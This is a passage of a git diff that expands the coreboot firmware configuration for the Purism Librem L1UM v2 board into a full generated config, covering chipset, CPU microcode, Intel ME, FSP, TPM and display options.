b/config/coreboot-librem_l1um_v2.config index cf221d6e0..322a14362 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -1,20 +1,793 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_TSEG_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem L1UM v2" +CONFIG_MAINBOARD_PART_NUMBER="Librem L1UM v2" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_l1um_v2" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set +CONFIG_MAX_CPUS=16 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +# CONFIG_CONSOLE_POST is not set +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/me.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem L1UM v2" CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set CONFIG_BOARD_PURISM_LIBREM_L1UM_V2=y +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_L1UM_V2=y +CONFIG_EC_GPE_SCI=0x50 +# CONFIG_DRIVERS_IPMI_SUPERMICRO_OEM is not set CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset_pch_h.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="cnl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_MAX_PCIE_CLOCK_SRC=16 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=4 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_INTEL_CANNONLAKE_BASE=y +CONFIG_SOC_INTEL_COFFEELAKE=y +CONFIG_SOC_INTEL_CANNONLAKE_PCH_H=y +CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_SBI=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y +CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_HECI_DISABLE_USING_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# +CONFIG_SUPERIO_ASPEED_AST2400=y +CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM=y +CONFIG_SUPERIO_NUVOTON_COMMON_PRE_RAM=y +CONFIG_SUPERIO_NUVOTON_NCT6791D=y + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +# CONFIG_INTEL_GMA_ADD_VBT is not set +CONFIG_SOFTWARE_I2C=y +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_IPMI_KCS=y +CONFIG_IPMI_FRU_SINGLE_RW_SZ=16 +CONFIG_BMC_KCS_BASE=0xca2 +CONFIG_IPMI_KCS_TIMEOUT_MS=5000 +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_ASPEED_AST2050=y +CONFIG_DRIVERS_ASPEED_AST_COMMON=y +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_HAVE_DPTF_EISA_HID=y +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZMA=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y 